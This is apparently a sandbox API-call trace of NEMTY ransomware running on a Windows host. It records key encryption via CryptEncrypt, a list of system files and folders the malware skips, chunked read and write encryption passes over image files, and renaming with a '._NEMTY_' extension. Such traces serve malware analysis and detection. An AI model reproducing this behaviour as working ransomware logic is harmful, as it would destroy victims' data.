pszString="k9SBzsj4bcIizABwGvBaD3UJxONS+az+J0GmxtVR751b0jpeihh/7NsKdRoMugNJ\r\nQn96lHVhPN+c7aYMTvbAGXILAta6LUKHLOtOhwvPNK5ej9lwPuiyVYrf1va3zEdM\r\nahfbkWtAsv4zy4kSfeZNMTd/UpMj7DmsQoex1nGfqivH3h5y6ihBo5Qd2yJ62qhf\r\nXZ+Vxy45Lh9wpvvIcMOKpXXwCf04BSSM/AUswnyHndSW7CWug7WtbHZ7TYtVqtj4\r\n0o0xy7Ii5CAQ2vto019htoXQ9AvGyFUuBY+zcqbFVDZruUOB+VWkMWRNK8mzoKk8\r\nKKQO/hh/+WY9CE37IHGfdA==\r\n", pcchString=0x653e91c) returned 1 [0154.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0154.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0154.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0154.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0154.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0154.735] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\26.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\26.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0154.735] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0154.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0154.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.736] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.754] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.763] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.777] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.777] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.787] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.797] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.797] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.806] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.806] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.824] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.824] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.840] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.840] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.847] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.847] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0154.847] CloseHandle (hObject=0xffffffff) returned 0 [0154.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0154.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0154.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0154.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0154.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0154.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0154.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0154.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0154.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0154.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0154.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\26.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\26.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\26.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\26.png._nemty_kgobjgd_")) returned 0 [0154.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0154.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0154.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0154.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0154.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0154.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0154.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0154.847] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869b1fbc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x869b1fbc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ac5a3e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="27.png", cAlternateFileName="")) returned 1 [0154.847] lstrcmpiW (lpString1="27.png", lpString2=".") returned 1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="..") returned 1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="...") returned 1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="windows") returned -1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="$RECYCLE.BIN") returned 1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="rsa") returned -1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="NTDETECT.COM") returned -1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="ntldr") returned -1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="MSDOS.SYS") returned -1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="IO.SYS") returned -1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="boot.ini") returned -1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="boot.ini") returned -1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="AUTOEXEC.BAT") returned -1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="ntuser.dat") returned -1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="desktop.ini") returned -1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="CONFIG.SYS") returned -1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="RECYCLER") returned -1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="BOOTSECT.BAK") returned -1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="bootmgr") returned -1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="programdata") returned -1 [0154.848] lstrcmpiW (lpString1="27.png", lpString2="appdata") returned -1 [0154.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="27.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="27.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="27.png", lpUsedDefaultChar=0x0) returned 6 [0154.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="27.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="27.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="27.png", lpUsedDefaultChar=0x0) returned 6 [0154.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="27.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="27.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="27.png", lpUsedDefaultChar=0x0) returned 6 [0154.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="27.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="27.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="27.png", lpUsedDefaultChar=0x0) returned 6 [0154.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0154.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0154.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0154.848] Sleep (dwMilliseconds=0x5) [0154.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xff33650, dwHighDateTime=0x1d561e8)) [0154.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xff33650, dwHighDateTime=0x1d561e8)) [0154.859] GetLastError () returned 0x5 [0154.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0154.859] GetLastError () returned 0x5 [0154.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0154.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0154.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0154.859] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0154.859] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0154.859] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0154.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0154.859] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="vGl5s+OHHWIzL7Sf5QDcVjRjtfZq9O2ZNeS7VMqBe5MbQebxscmCmPXNi/0g+tl/\r\ngt05PIUSIQUJy73kaBttQ0wm6q5G0v7Dc9aOk+IpzMztOeJoi0Jkv4ErUZsvx4Fc\r\nlnVw3DSP/q8RSZ8VFr/TzpYGGlguLZ/8fNqC44zXrFHS3LP3rFooXArR0SsUbqat\r\nJLQOl+oIRHzy3xYLwmFQbpjMzysI35lri1MrUaj9+VY+NMYhYVgth8DwypiUSsHZ\r\nEoOFOVu+NU+rcn621vxbAGy9PzOtVE4cilcYq3YeX8I2Y5rySq2MZMK9kPJTsM1c\r\n2t53A5oUJG77sHdzTOKbyg==\r\n", pcchString=0x653e91c) returned 1 [0154.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0154.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0154.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0154.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0154.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0154.860] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\27.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\27.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0154.860] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0154.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0154.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.860] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.870] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.879] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.879] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.888] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, 